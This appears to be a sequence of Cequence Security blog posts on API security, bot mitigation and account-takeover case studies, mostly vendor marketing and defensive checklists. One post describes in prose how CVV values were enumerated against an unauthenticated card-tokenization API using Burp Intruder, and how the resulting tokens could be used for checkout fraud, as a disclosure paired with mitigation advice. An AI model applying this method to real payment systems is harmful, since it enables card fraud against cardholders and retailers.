• Developers mistakenly expose more data than they should. Often, the exposure happens in an effort to improve the customer experience, but it can also make it easier for bad actors to abuse the API or business logic. For example, hidden parameters can lead to threats like privilege escalation, and confidential or sensitive data could also be exposed in verbose error messages or response codes.
• Shadow APIs published outside of the security team’s purview are likely rarer in FinTech than other industries, yet they pose a significant risk and must be reined in. Developers and security must work collaboratively to publish secure APIs and manage the entire lifecycle. Similarly, there may be deprecated APIs that were not fully removed from public availability. These too should be managed more effectively.
• APIs make the PSD2exfiltration of data easy and fast, allowing for massive amounts of data to be moved with little effort. This is a great feature for bad actors and headache-inducing for security and compliance teams.

Given the attractiveness of information passing over Open Banking feeds and the commercialization of attack tools and bots, it is imperative that all participants in the production and consumption of Open Banking APIs pay extra attention to the security across the entire app lifecycle. This is a considerable effort, but important as the threat from bad actors will only increase over time.

Get full visibility of the API landscape across your organization

API security begins with runtime visibility. With collaboration across development, operations and security teams, a runtime API security solution helps all involved understand how many APIs are deployed across the organization, their usage patterns and their respective risk levels. These are critical API visibility elements that contribute to a strong and comprehensive API security posture.

Consider some of these questions and think about what it would take to get the answers for your organization:

• How many knowingly published, shadow or deprecated APIs do we have?
• What are they used for, can we see and analyze traffic patterns?
• Do our APIs adhere to specification definitions and how do we maintain conformance?
• Are there any hidden headers, parameters or response codes in our APIs?
• Is encryption enabled for APIs to transmit PII or sensitive data securely?
• Are any APIs accessing regulated data in a way that will jeopardize compliance?

Continuously monitor and assess the security risk of your APIs

With an inventory of your APIs and visibility into the traffic and activity, the next step is to assess the risk associated with the APIs. Considering that many organizations today employ continuous deployment, it is necessary to move beyond periodic assessments and move toward a model of continuous assessment. Get a tool that will help your team automate API risk monitoring with customizations that allow you to map the risk checks to your API specifications as well as your organization’s security policy. Some of the checks may look for issues like:

• Access controls and authentications have been implemented to match the criticality of the data,
• Confidential or sensitive data transmitted across APIs without encryption,
• API traffic coming from known malicious IPs or traffic that doesn’t match known good behaviors

Make risk reduction a priority

Having visibility and understanding risk is great, but doesn’t do much if risk reduction isn’t a priority among the development team. Consider rolling out processes or workflows which make it easier for development teams to be notified of risks in their code and helps them identify remediations or resources who can help identify alternate, more secure, implementations.

Implement strong controls and protections

With automated attacks getter ever easier for bad actors to execute, it’s critical to have a way to identify them and respond appropriately when your APIs are the target. Yet another layer of defense for your Open Banking APIs should be the use of threat prevention tools that can stop traffic that doesn’t conform to your API specifications and also blocks malicious bots.

Following on the retail win posted previously, this week’s win is a clothing and home décor retailer that had an account takeover/credential validation challenge that their incumbent solution was unable to address. Bad actors were targeting APIs supporting both their web and mobile logins, successfully executing ATOs. Once the account was taken over, they were used to commit fraud or sold to other bad actors for their own use. At one point, the incumbent’s efficacy was so low that the customer was forced to block large swaths of IP addresses that included both the attackers and legitimate shoppers, resulting in user frustration.

The Search Was On

When the decision was made to move to a new vendor, the customer used their past experience to frame the key requirements to support their dynamic environment:

• Bot mitigation should be deployed near their cloud-based applications, at the edge, as opposed to their AWS environment.
• The customer wanted to minimize or eliminate infrastructure and mobile application integration, which limited the customer’s ability to rapidly deploy new applications.
• Access to attack campaign information and the ability to export that data to other systems for a centralized view was critical.

During the initial conversations with Cequence, it appeared that the customer requirements were easily met, however, speed was of the essence as the customer wanted deployment before the holidays. Cequence API Spartan SaaS was deployed in a matter of hours, requiring only a traffic redirect from Amazon CloudFront to API Spartan SaaS for analysis, then on to the application origin.

Without the additional development, QA and 3rd party validation cycles required by JavaScript and SDK integration, API Spartan with CQAI allowed the development team to focus on delivering new apps and features quickly. Once deployed, analysis by CQAI began to show ongoing attacks against both mobile and web applications.

Working closely with the CQ Prime threat research team, several significant attack campaigns were uncovered:

• A large ATO attack on the web login application that represented 35% of the total traffic at more than 1.5 million attack requests, averaging 200 requests per minute and distributed across more than 220,000 IP addresses.
• An ATO attack on the mobile login represented 98% of the traffic over a 2 day period with more than 1.5 million requests distributed across 1,200 IPs at a rate of about 1,000 requests per minute.
• A “low and slow” ATO was also observed on the mobile login with an average of 6 requests per minute distributed across a mere 50 IP addresses.

The final PoC requirement was to export the API Spartan findings and results to the customer’s centralized dashboard was easily met using the standard set of APIs that enables data to be exported to external systems, thereby enhancing the organization’s collective security posture.

No Additional Vendor Analysis Needed

The evaluation of API Spartan was both rapid and successful – so much so that the customer chose to halt any further evaluation of other bot mitigation vendors. The next step was licensing, threat hunting training with the CQ Prime threat research team, and ramping up to full production to be ready for the holidays.

Explore Cequence’s API Spartan

Learn more about how API Spartan sets itself apart from other, first-generation bot mitigation alternatives here.

The goal of a Threat Hunter is to find an attacker in the middle of an attack before they can cause damage. This entails hunting through thousands of requests trying to pick out the malicious telemetry emanating from thousands of endpoints that looks like hundreds of different users. The task becomes exponentially more difficult as the volumes increase. As an example, one of our customers was a recent target of an attack that reached 50,000 requests per minute. If we assume that 10% of the traffic is attack-related, the Threat Hunter has to perform the near-impossible task of analyzing 5,000 requests per minute. In this scenario, the term “hunting” is apt as it implies the potential for going home empty-handed.

Why Manual Threat Hunting Doesn’t Scale

The only way that a threat hunting team can keep pace with automated attacks is to either add more resources (people), or use automation, much like the attackers do. Automated threat hunting (analytics) tools detect when the traffic is valid and when it isn’t by analyzing hundreds of signals within the application requests such as:

• Which users are compromised or otherwise problematic
• IP addresses the attacker may be using from a proxy network
• Whether or not the user agent or browser is valid
• Attack behavioral factors such as rotating users, IP addresses, user agents, cookies, headers, and anything else that an attacker will use to make the traffic seem legitimate

Using automation to sort through 50,000 requests per minute will only go so far, perhaps surfacing users coming from too many IPs originating from Bulletproof Proxy Networks or an individual user with 55 different browsers. But remember we have to find 5,000 per minute.

Automation alone hits a ceiling here. Correlating IP reputation, user-agent anomalies, and behavioral drift across tens of thousands of requests a minute isn’t something an analyst can do by hand, and stacking more detection rules onto a signals-based system just produces more alerts to triage. A team drowning in alerts spends more time ruling out false positives than finding the 5,000 requests that actually matter.

From Hunting to Catching

Enter the concepts of Machine Learning and Artificial Intelligence, the foundational elements of our analytics engine, which enables Threat Hunters to move from hunting to catching. Our standard onboarding process is to configure Cequence to receive and analyze traffic from the applications a customer needs to protect.

No custom code or development efforts are required; Cequence needs to see and analyze either all or some of the traffic. The next step is to begin “training” the ML models with interesting elements inside the traffic. We can point to login flows and identify good and bad login behaviors. We can point to standard requests to train the models to understand where there should be uniqueness and where there won’t be. As Cequence analyzes the traffic, the attacks begin to surface, based on predefined ML models. In many cases, the ML models don’t need training as the defined characteristics being “hunted” are well understood. This means the process of analyzing traffic entails both automatic identification of threats as well as “training” to ensure maximum efficacy over time.

Training time varies by traffic type. Login flows tend to converge quickly, since credential stuffing and account takeover attempts have well-documented behavioral signatures. Less common request patterns take longer, because Cequence needs enough legitimate traffic to establish what normal looks like first. Retraining isn’t a one-time exercise, either – attackers retool constantly, rotating proxy networks and user agents the moment a detection starts working against them.

Turning Detections Into Mitigation Policies

The next step is to translate threat findings into mitigation policies based on a wide range of factors. Stacking policies and enabling mitigation allows Cequence Bot Management to take simple steps like marking the traffic for the customer to further analyze. We can block the traffic if desired or we can be a bit more mischievous and trap the traffic in a honeypot and let the attacker think they have succeeded.

Which mitigation option makes sense depends on what the customer needs from that traffic. Marking suits a team still investigating. Blocking suits a confirmed attack where the priority is stopping the drain on infrastructure. Honeypotting serves a different purpose: it keeps the attacker engaged with traffic that looks real but tells them nothing useful, buying time to study their tooling.

Catching Attacks Without Client-Side Code

Once Bot Management are configured and running, the act of Threat Hunting transitions to catching with periodic tuning as attackers retool and watching for anomalous signals that indicate attacker traffic. Oftentimes, we will be challenged with the question of how can you prevent bots when you are not integrating JavaScript or an SDK into the web or mobile app? The answer lies in the power of the 150+ customizable ML models built into Cequence, which allows a minimally staffed team to easily keep pace with the attack example above of 50,000 requests per minute.

That combination changes the staffing math: a team can scale detection coverage by tuning models instead of hiring analysts to read more logs. The volume in the example above isn’t an edge case – it’s what Cequence is built to handle as a matter of course.

As we transition into the last month of 2020, it’s time for my team and I to look back over what we covered this year in the blog and start giving some thought to 2021’s editorial calendar. I know that I definitely have favorite content pieces, but there is something probably even more interesting to you.

What blog content is the security community most interested in recently?

Below is a list of the top five posts published by Cequence Security since January 2020.

API Security Need-to-Know: Ramifications of Weak API Authentication

Until May 2020, an API vulnerability existed in ZIPNet, an online application used by Indian law enforcement. It allowed malicious actors to create or modify criminal records without authenticating. Based on the publicly available information, this security incident was a direct result of poorly implemented API authentication and access control, a common challenge in enterprises today. Read the Full Post

When APIs Say Too Much

As developers use APIs to build platforms that allow for more rapid feature releases, an equal amount of emphasis must be placed on ensuring users can utilize the application safely and securely. In the case of this discovered Kasa camera security vulnerability, verbose error messages introduced a risk to consumers. Read the Full Post

Aite Group Research Validates API Security Gaps

The API Security Best Practices Research Report published by Joe Krull from the Aite Group validates security gaps in protecting APIs. Additionally, it makes recommendations that will benefit any organization moving towards an API-centric development methodology. Read the Full Post

Tales from the Front Lines: Attackers on Lockdown Focus on APIs

As the pandemic rolled into early summer Cequence Security customers battled an increase in bot activity. In one case, the lion’s share of the attack traffic, 15 million events, was aimed at one particular login API endpoint for an android application. Read the Full Post

Announcing Cequence API Sentinel

In June, Cequence introduced API Sentinel, a new API security service designed to give you continuous run-time visibility, shadow API discovery, risk analysis, and conformance assessment for all your APIs hosted on-premises and in public clouds. Read the Full Post

What to expect in 2021?

The top posts share a common thread, API Security. And, as we continue into 2021, we fully expect it to remain one of the biggest challenges faced by both our customers and security teams everywhere.

Cequence is committed to helping organizations eliminate security gaps by rapidly discovering APIs and protecting them from automated attacks and vulnerability exploits with a consistent security policy.

Is protecting APIs on your radar for 2021? Request a demo to see Cequence Security in action.

One of our newest customers is a large, community-based retailer that had a mobile application and API account takeover problem. Roughly 12 months ago, they selected a JavaScript and SDK-based bot mitigation solution to address their ATO challenges. The initial focus was to protect the mobile applications and associated APIs – and that’s where the struggles began.

ATO prevention for mobile applications requires SDK integration, which means an increased burden on the development team for third-party app validation, added QA test cases and cycles, and internal coordination to ensure the latest version of the SDK is deployed. Once deployed, multiple versions are often maintained to avoid forcing an end-user to upgrade, which may result in dissatisfaction and lost customers.

Time for a Change

After countless attempts to roll out ATO prevention, the retail customer chose to investigate alternative bot mitigation solutions including Cequence Security API Spartan SaaS. The initial evaluation took the teams a few hours to redirect traffic from Fastly CDN to API Spartan SaaS and shortly thereafter, the management dashboard lit up with account takeover attacks on both the web and API endpoints. Working closely with the CQ Prime Threat Research and Customer Success Teams, the customer quickly came up to speed in navigating the UI, drilling down into the attack behaviors, translating the findings into policy, and onboarding apps without assistance. The customer commented that the difference between API Spartan and the incumbent solution was night and day.

• The required SDK integration injected delays and obstacles into the deployment and protection of the mobile application.
• The incumbent was a black box, providing limited to no visibility into attack patterns or analysis without engaging professional services.
• Policy modification was an equally challenging exercise that often took multiple hours or days to engage professional services.

API Spartan is based on CQAI, a patented ML-based analytics engine that determines the transactional intent, legitimate or malicious, without requiring JavaScript and SDK integration. The platform is open and extensible, providing the customer with full visibility into their web, API, and mobile applications, allowing them to analyze the traffic and separate legitimate from malicious with intuitive policies.

Flipping the Switch

The week-long PoC demonstrated near-immediate value by enabling the rapid onboarding of applications through a simple traffic redirect from their Fastly CDN to API Spartan SaaS. Once completed, the applications were discovered and analyzed with a few clicks of a mouse. Findings included:

• An ATO against the web login distributed across more than 3,500 residential proxies and was spoofing a Chrome User-Agent string represented roughly 95% of the login traffic over a period of several days.
• A highly automated “low and slow” ATO attack that evenly rotated through User-Agent strings of multiple browser families and distributed the requests across more than 1,100 residential IPs.
• An ATO attack against the mobile login API used a single User-Agent string and was spoofing an Android app but appeared to be an iOS device. The attack was distributed across residential IP proxies located in China, Romania & Brazil.

In contrast, the previous solution had struggled to show protection value for more than a year. Moving from PoC to production was equally simple. On the backend, the API Spartan SaaS instance was already created with application traffic flowing through it. The next steps were to formally engage with the CQ Prime threat research team to train the customer’s security team on using CQAI, analyzing threat traffic, and setting policies.

Rapid Time-to-Value

Within a matter of weeks, the customer validated the speed with which new mobile, API, and web application endpoints can be onboarded and the prevention efficacy of API Spartan SaaS. The ease with which the applications can be protected, the openness of the platform, and the close working relationship with the CQ Prime Threat Research Team is a stark contrast to the incumbent solution that was largely ineffective for nearly a year.

Learn more about how API Spartan sets itself apart from other, first-generation bot mitigation alternatives here.

As a mechanism to offload PCI risks, many retailers are now using third-party credit card processing for their online transactions. The retailer’s benefit is they are no longer handling the credit card data, thereby reducing the cardholder footprint (and PCI exposure). The potential drawback to this approach is that now a third-party controls that data.

While researching this topic for a customer recently, I looked at the credit card processing workflow for online food ordering. After placing my desired items in a “cart,” I began the checkout process, pushing the transaction from my web browser to an intercept proxy. There I was able to do some workflow analysis.

The workflow displayed in the intercept proxy capture showed the credit card details had been submitted to the order as they should, but it also showed some new API endpoints coming online. Digging into the transactions, I saw an HTTP-POST of my credit card details (highlighted in grey below) had been sent to a third-party via an API.

Image 1:third-party API transaction POST

The response back from the third-party API included the token that my food retailer will use to match up this transaction and eventually get paid.

Image 2: API token response

Putting on my security hat, I wondered, If I were an attacker and I had the card number and the expiration date but didn’t have the “CVV” or Card Verification Value (the three-digit number 100 in image 1 above), as many credit card dumps contain, could I use an enumeration technique to pre-fetch the tokens and try them one at a time?

Surely there is some sort of access or authorization that is needed to engage the tokenization API. Surely there is something gating requests to the tokenizer script. Alas, no.

I stripped all cookies, tokens, trackers, etc. from the request and could still get back a token. See OWASP API Top Ten API1 Broken Object Level Authorization and API2 Broken Authentication. This is a wide-open service that also suffers from OWASP API4 “Lack of Resources and Rate Limiting.”

To look at what is happening, I like to use an “intercept proxy” called BURP Suite Pro. It has many testing tools and often makes automation of simple tests extremely easy. To test my idea, I loaded the API tokenization service request into BURP Suites Intruder and set up a series of calls and married all possible CVVs with the card and expiry, resulting in the creation of (fictitious) tokens that would contain the correct values, shown in the right side of image 3. I set up a rotation in Intruder and fired off 900 requests from 100 to 999 in sequential order. The tokenization script worked flawlessly, as seen in my attacker output.

Image 3: Token generation using enumeration techniques

If I were an attacker, the last step is to feed these newly generated tokens into the checkout process one at a time. Utilizing the retailer APIs and third-party APIs it is possible to commit this type of fraud at high speed, and if the load is distributed across many IP addresses using Bulletproof Proxies, it would be pretty unnoticeable to the retailer.

When enterprises use APIs to engage with third-party services to create a seamless experience for customers, it’s critical to fully understand the security exposure, answering the question of whether or not we are introducing a problem or a solution. In this case, it is possible to pre-enumerate the checkout process off-site and attempt fraud against the retailer’s customers.

So how would someone prevent this? The first thing I would suggest is to test the API functionality and behavior. Is it possible to submit token after token in order to find the right CVV value? If so, there should be some kind of transaction counter that allows for user mistakes but then forces a re-authentication as part of the checkout workflow after a certain number of attempts. Similarly, working with the vendor to require checkout flows to come from valid orders only is also reccomended. This should be tightly monitored for abuse.

Cequence can monitor for this behavior and automatically block submissions over specific thresholds or create a deceptive environment that will confuse a would-be attacker. These kinds of attacks happen over a very long period of time and can involve thousands of bad requests making it difficult to see the patterns without Machine Learning models to match up fraud attempts.

Stopping attackers and their malicious intent is every security practitioners’ goal. But there are times when we need to grant unfettered access to network resources for day-to-day operations. Better known as whitelisting, I have seen scenarios where an over-zealous whitelist granted from-anywhere to-anywhere access to a database. Security best practices dictate that this level of permissiveness should raise an eyebrow or two.

Keep digging when you see any 10X pop

During a recent customer engagement, our CQ Prime Threat Research team observed a massive traffic spike coming from a single whitelisted IP address. Although the IP was whitelisted (and many security professionals would move on), the 10X volume of traffic drove our research team and the customer to dig a bit further. In analyzing the traffic and its behavioral characteristics, it became clear that attackers had identified a whitelisted service and had begun using it for their nefarious purposes.

Why would you whitelist this traffic?

A quick WHOIS lookup of the whitelisted IP identified it as a translation and localization service used by the customer. The translation service uses some unique technologies to allow any organization with a web presence to have their site translated into many different languages simply and easily. All the organization needs to do is direct their DNS records to point at the translation servers, sending API calls back to your web service. It works very well, as evidenced by their customer testimonials.

The service allows www.examplecompany.com to subscribe to the translation service, stand up a site in a country, say Brazil, www.examplecompany.br and have the site run in Portuguese with minimal, if any, additional effort. All the backend calls occur between the translation service and the application fabric at Example Company’s data center or cloud deployment. For the translation service to not look like a Denial of Service attempt (because a single IP is making all the requests), Example Company must whitelist the translation service traffic.

Proxies (and attacks) hiding in plain sight

To make their attack appear as legitimate as possible, the bad actors routed their traffic through BulletProof proxy network before hitting the translation service. BulletProof Proxies allow a bad actor to distribute (and anonymize) their attack traffic across many ISPs in different countries. In the example above, the attack traffic might be routed through a proxy network in Brazil, while the bad actor might be in the U.S. The target destination is the whitelisted translation service IP address, which bypasses all security inspection.

No doubt many organizations have whitelisted not only translation services but also accessibility services that assist the hearing and vision impaired. These services provide significant value to any organization, but this should be a reminder that you should trust but verify that they have blocked bad traffic.

Based on volume and other behavioral characteristics observed, the customer and CQ Prime Treat Research Team deemed the traffic to be malicious and policies were implemented to mitigate the attack.

Whitelist judiciously; review and verify frequently

The lesson to learn here is that once something is whitelisted, don’t ignore it. A best practice is to review those “permanent” settings and make sure they do what you intended when first implemented. Whitelisted services, broad ranges of IP addresses, and even applications require periodic reviews to ensure they are used only for the intended purposes.

Research and advisory firm TAG Cyber has been publishing its seminal Security Annual report since 2016. Thousands of leaders and decision-makers across the cybersecurity ecosystem have come to rely on this report for expert guidance, analysis and education.

The organization published this year’s Security Annual today and Cequence Security is proud to be named one of TAG Cyber’s Distinguished Vendors, an elite recognition from among approximately 2,000 commercial solutions providers in TAG Cyber’s database.

The Security Annual shares a market outlook as well as industry insights from various thought leaders. I had the privilege of speaking with the TAG Cyber team about the ways that organizations can mitigate or reduce the impact of API attacks. APIs have been in use for years, providing developers with the benefits of speed and flexibility, however, no one could have predicted just how critical they would become to daily business operations.

Now, heading into 2021, APIs are the communications “glue” that holds together applications, components, microservices and containerized workloads. And for most organizations, API footprints will continue to expand exponentially. As such, it’s essential that organizations keep their APIs secure.

To help navigate this challenge, I shared insights with the TAG Cyber team, including:

• How bad actors are abusing the API ecosystem to execute attacks.
• How the explosion in API usage is impacting cyberattacks.
• What some of the most common attack types against APIs are.
• What the potential targets and consequences of an API attack are.
• Recommendations on how organizations can reduce the risk of a successful API attack.

To learn how API Security can help analyze all of your APIs to detect and mitigate security risks before they become incidents, please visit: https://www.cequence.ai/products/api-security/.

2020 is moving into the final quarter and it appears to be the year of the API security incident with MGM, Starbucks, Data Viper and Docker as just a few examples of API security incidents. The reasons are obvious – API use has exploded for both developers and bad actors. The same developer benefits of speed and flexibility are leveraged to execute an attack resulting in fraud and data loss.

In many cases, the root cause of the incident is human error. Verbose error messages, access control and authentication improperly configured. The list goes on. But why? Inexperience? Moving too quickly? Not adhering to a specification? Not trained in secure coding practices? No peer review or security review? The answer is a little bit of all of the above, as highlighted by a new API Security Best Practices Research Report published by Joe Krull from the Aite Group. The report validates security gaps in protecting APIs and makes recommendations that will benefit any organization moving towards an API centric development methodology.

Establishing and Adhering to API Security Best Practices

It’s well known that maintaining compliance or adhering to best practices is best achieved using a combination of documented recommendations (like those outlined in the report) combined with training, and technology. The technology component is where we can help. We have been protecting APIs from automated attacks for nearly 5 years now, and on a daily basis we are securing nearly half a billion APIs.

Our newest product, API Sentinel extends our API security expertise by integrating with existing API management infrastructure to discover all public-facing APIs, including those published in the shadows. It then performs a runtime analysis of your API risk and assesses their specification conformance. In short, API Sentinel can help your organization rein in your API footprint and reduce the security exposure by finding errors before they are published, or discovered. We’ve summarized the report’s seven API security core competencies below and how API Sentinel might be used to maintain adherence to the findings.

The guidance found in the report is a great start for anyone moving towards a more API-centric development methodology. API Sentinel adds a technology layer that will help you monitor, track and enforce the best practices defined. It’s a win-win scenario. Don’t take our word for it – try API Sentinel with our 30-day free trial.

In a previous blog, I talked about how the Covid-19 pandemic lockdown had corresponded to an increase in attack intensity. Since then, different parts of the country have begun to reopen, and in some cases reclosing, yet the attackers have maintained their intensity. So, what is the difference now that we are rounding the corner and moving towards fall?

Perhaps it’s the heat – it makes everyone a bit crazy. This summer has been hot for many parts of the country and here in Ohio, we have had 90-degree days for weeks at a time with only an occasional cloudy day breaking up the discomfort. The heat makes both man and beast modify their strategies to improve their survival efficacy.

Attackers Keep Turning Up the Heat

As attackers have turned up the heat on our customers, we have responded in kind, maintaining very high efficacy rates, even as they retool and focus their efforts elsewhere. In several cases, we shut down an intense attack against a single API endpoint, only to see the attacker change their proxy network and perhaps the API endpoint and throttle back up again. Once they realize that their modifications aren’t working, we see them retool their behavior and attack again. Sometimes they are triggering one of our detection techniques and as they modify their efforts, their behavior triggers a completely different technique.

Just like modifying behavior to stay cool, the key is how we use different techniques to maintain detection efficacy. The attackers only have so many knobs to turn to hide their actions. When they are blocked, one of their first actions is to move rapidly to a different infrastructure network, indicating they believe we are blocking them based on their network IP address.

User-Agent Rotation in the Wild

When we continue blocking, we see the attacker modify their behavior by moving from one User-Agent to another. In a recent attack against one of our customers, the attacker modified their bots to rotate several elements of the User-Agent string. Not only did they modify OS and browser type, but they modified every other element including build numbers and languages, carried in the string. As they changed, we watched them add UAs to the rotation pool attempting to gain a foothold into the system with at least one that would work.

Here is a standard User-Agent String from a Google Pixel 3 that tells users (and attackers) that Android 10 is the OS on a Pixel 3 device and the version numbers for WebKit and Chrome. Bad actors will rotate through each of these elements to avoid detection and achieve their goals. These retooling efforts can successfully client-based detection, but it can also work against the attacker. Here’s how.

How Cequence Maintains Detection Efficacy

Cequence Bot Management, uses trained ML models to encode common behavioral traits of automated attacks that, when applied to each incoming web application and API requests, result in the creation of a behavioral fingerprint. The behavioral fingerprinting goes far beyond other types of fingerprinting that identify end-user devices based on telemetry signals received from them. More importantly, the result is immediate mitigation efficacy upon deployment.

The behavioral fingerprint includes the UA string changes mentioned above, along with the attacker’s previous behaviors to maintain detection efficacy. Additional elements considered can include:

• What IP address is the bad user-agent coming from?
• Have we seen this user-agent before and was the user-agent coming from one of these bad IPs?
• Is the IP part of a known or unknown bullet-proof proxy network?
• Does this give us any information on attacks on-going with other customers?

The Payoff: Efficacy Without Client-Side Code

New customers are often incredulous when we tell them that we stop advanced bot attacks without client-side JavaScript or SDK integration. Time and time again, we prove that yes, the intelligence and learning capabilities of Bot Management enable our customers to eliminate the numerous penalties associated with client-based alternatives. The result is an ability to maintain efficacy regardless of the infrastructure used, the attack techniques, the endpoint targets or the modified behavior.

Using NIST CSF to Reign in your API Footprint

As your digital transformation accelerates, it’s API volume and usage has accelerated in tandem. It is also very likely that your API security efforts have lagged behind your increase in API usage. Unlike other more mature areas of cybersecurity, the API security market is still relatively nascent and fractured. When people talk of API security, they mean lots of different things – securing the API endpoints, implementing web application firewalls (WAFs), bot management, API governance, or monitoring.

Like the market, conversations in your organization about API security are likely happening in a fractured manner, if at all. Without a way to focus the conversation, various development and operational teams may be taking different approaches to manage API security risks. It’s a step in the right direction, but proper API security and governance requires clarity and consistency. One approach being taken by more than 30 percent of U.S. organizations, is to the NIST Cybersecurity Framework as a way to develop a shared understanding of their collective cybersecurity risks.

As you build out your API strategy, the NIST CSF will help you gain a baseline of information about the APIs used across your organization, identifying potential gaps in the operational processes that support them. Your baseline can help you not only communicate where the organization is today but will also help define a publication process that helps to ensure your APIs – and the data flowing through them – are robust and secure.

Below are some questions aligned to the NIST CSF that you can use to help establish the baseline of your API operations while establishing future goals and plans. With this information in hand, you can begin to orchestrate the operational improvements that will help mitigate risks in existing APIs and with an eye towards consistency, reduce the risk in newly developed and deployed APIs. As your API strategy takes shape, it will be critical to implement a method of regular measurement and assessment so you can see how your API risk is changing as you work to achieve your API risk management goals.

As you and your team go through the assessment, consider for each question your current state, what kind of risk it presents, what you want your future state to be and by when.

Asset Management:

• How many APIs do we have?
• What do the APIs do?
• Who are the API owners? Who manages them?

Business Environment:

• How were they developed? Which are Open Source vs. Custom built vs. Third-party?
• What applications are these APIs used by / associated with? Are they critical to business operations?

Governance:

• Is there a documented API vetting and publishing process?
• Which APIs are subject to legal or regulatory compliance? How do we monitor for vulnerabilities in your APIs?
• Which ones are not actively managed or monitored?
• Do they have traffic?
• How do we protect our APIs from malicious traffic?

Risk Assessment:

• Are there APIs with vulnerabilities?
• Are the vulnerabilities isolated to particular teams/products?
• What is the business impact if the APIs are compromised or abused?
• Do we have APIs that are not conforming to our API definitions?
• Do we have any hidden API headers, parameters or response codes?
• Are we seeing any malicious traffic? On which APIs?
• Is there API traffic that is outside of the expected? (coming from unexpected countries, for example)
• What is the overall risk? Is it trending up or down?

Risk Management Strategy:

• Are APIs included in our risk management processes?

Access Control:

• How do we manage authentication for our APIs?
• What is our process for modifying access rights for our APIs where appropriate?
• Do the APIs have appropriate levels of authentication?

Awareness and Training:

• Is API security a part of our on-going developer training and security evangelism?
• Are there teams with a high number of API vulnerabilities that require special attention and training?
• Do we need to implement an incentive structure to help strengthen our API security?

Data Security:

• Are our APIs exposing sensitive data or PII which could put us out of compliance?

Anomalies and Events:

• How do we monitor for malicious traffic on the APIs?
• How do we protect our APIs from malicious traffic?
• What is the process for analyzing API events to understand intent and targets?
• Have we established an alerting process for events detected on APIs?

Continuous Security Monitoring:

• How do we establish norms for traffic on APIs?
• How do we monitor for malicious traffic on APIs?

Detection Processes:

• How do we test and measure the effectiveness of our API monitoring?

No doubt we’ve missed a few questions, but surprisingly, we find that many of these questions are not easily answered, yet they are critical to understanding and ensuring your APIs, and your data, are secure.

In today’s blog, we will discuss the ramifications of unauthenticated APIs using the recently published ZIPNet vulnerability. ZIPNet is an online application operated by Law Enforcement Authorities in India to share Crime and Criminal information in real time. This includes a registry of reported crimes, wanted criminals, and proclaimed offenders, amongst others. This application was designed to provide access to existing records using APIs so that that multiple law enforcement authorities in India can share information rapidly.

In October 2019, Karan Saini, a security researcher reported a ZIPNet API vulnerability that allowed a malicious actor to create or modify criminal records in this registry without any authentication. Even after reporting, the vulnerable API was still exposed until May 2020, allowing anyone on the Internet to access the API without authentication.

Data Breach Root Cause

Based on the publicly available information, this security incident was a direct result of poorly implemented API authentication and access control. Authentication is the process of validating who the user is before accessing the application and access control is the process of providing access to the application based on the user’s privileges. In this case, the controls were too weak, allowing a malicious actor to use the API to delete or modify existing criminal records of known offenders; or add criminal records for law-abiding citizens.

Rather than focus on the volume of data leaked, the remainder of this article will analyze the need for authentication and access control, along with steps that a developer should take to ensure their APIs, like more traditional applications, are coded to strict security best practices.

The Need for API Authentication and Access Control

Based on recent reports, more than 83% of traffic on the internet is driven by APIs. According to a Gartner survey, 70% of enterprises are using APIs as a core element of their digital transformation. Drivers include the rapid transition from monolith applications to microservices where each such service communicates with other services and the world using APIs, growing support for mobile/IoT devices and the move to iterative development methodologies.

Any API, but particularly those that transmit or provide access to sensitive information should have strong authentication and access control – just as a traditional application would – to help ensure that your data is not inadvertently exposed and stolen. While there is no way to determine why this API was released without authentication, possible reasons include:

• The developer made a mistake – they happen – developers are human. It is possible the developer did not have adequate training on secure API coding practices.
• Multiple developers were working on parts of the API and they missed this error, as did the QA department.
• The functionality was deemed not important or not outlined in the specification, or a specification was not followed.

Regardless of why this error existed, API developers should understand what data the API is transmitting, and working with the API owner, should choose an authentication technique equal to the value of the data. Basic auth, API key-based auth, and Oauth are several alternatives as defined by the Swagger/OpenAPI specification 2.0.

Controlling who has access to these APIs is as important as authentication on these APIs. Even though the API may be authenticated, we need to make sure that the users are contained within their own authorization profiles. Lack of access controls can lead to:

• Application level privilege escalation where regular users can perform administrative tasks
• Application level lateral movement where an authenticated user can access another user’s information

Avoiding Weak API Authentication Errors

The “shift left” paradigm that many organizations are embracing is designed to catch these types of security issues early in the DevOps process by implementing checks and balances in each of the development phases. The shift left approach includes implementing security at various phases, including:

• Secure coding training for API developers
• Well-defined features and functional specifications that include security
• Code reviews and security audits
• Static Application Security Testing (SAST)
• Dynamic Application Security Testing (DAST)

If the Delhi developers had followed these practices, theoretically, the incident should have been caught before publication. The reality is that bugs and security issues like weak authentication do make their way into production, which can then lead to a major breach.

API Security Begins with Visibility and Monitoring

To help eliminate API-based vulnerabilities (like weak or no authentication and access control) from making it into production, enterprises need to implement a runtime API visibility and monitoring solution that continually tracks all APIs – shadow, non-conforming or otherwise – then analyzes them for threats and assesses their potential risk. With runtime API visibility and monitoring, enterprises can answer three basic questions that in turn can strengthen their API security posture.

• How many APIs do you have and who owns them? Answering this question will keep track of your entire API attack surface as developers continually roll out new APIs while updating the existing ones. A real-time API inventory is a critical first step towards API security.
• Have the appropriate levels of authentication and access control been enabled? All your APIs should have some level of authentication and access control to help eliminate potential forms of abuse. The strength of your controls should be appropriate for the type of functionality implemented and data being used.
• What type of data are your APIs transmitting? APIs deliver rich functionality that may include sensitive information, knowingly or unknowingly. Determining which APIs may expose sensitive data will minimize security risks and associated compliance violations.
• Are your APIs using encryption? Security best practices dictate that data transmission via an app or an API should be encrypted. Ensuring encryption is enabled will help you maintain privacy and regulatory compliance.

To learn more about how Cequence can help you identify all your APIs and tell you what form of authentication and access control is in place, please check out this brief video.

Getting a handle on API Proliferation for the benefit of the broader organization

API proliferation is an issue we hear about from our enterprise customers more and more. For security teams, this is a real problem. Without visibility and access to the APIs developed and deployed across the organization, it is impossible to ensure the security and privacy of the data communicated through the APIs.

Like most things in business, the use of APIs started small and was relatively manageable. I’m guessing there are spreadsheets in every organization’s SharePoint or Google Drive instance tracking the APIs implemented. But with the number of API growing fast and updates frequently happening, tracking eventually goes by the wayside.

How did we end up with so many APIs?

Many APIs start with targeted problem statements of exposing certain business functionality to their target audiences. For example, a product team might expose a few targeted endpoints to another internal team for certain business functionality, like fetching information about product inventory or pricing. Soon after, a business need will emerge to avail the same functionality externally as well, such as from a mobile app or from a business partner app. Then many business partners express the need to access the same API, and soon the API is converted to a formal OpenAPI specification exposed to all interested clients. So, what started off as a tactical API effort expands organically to meet the needs of several internal and external stakeholders.

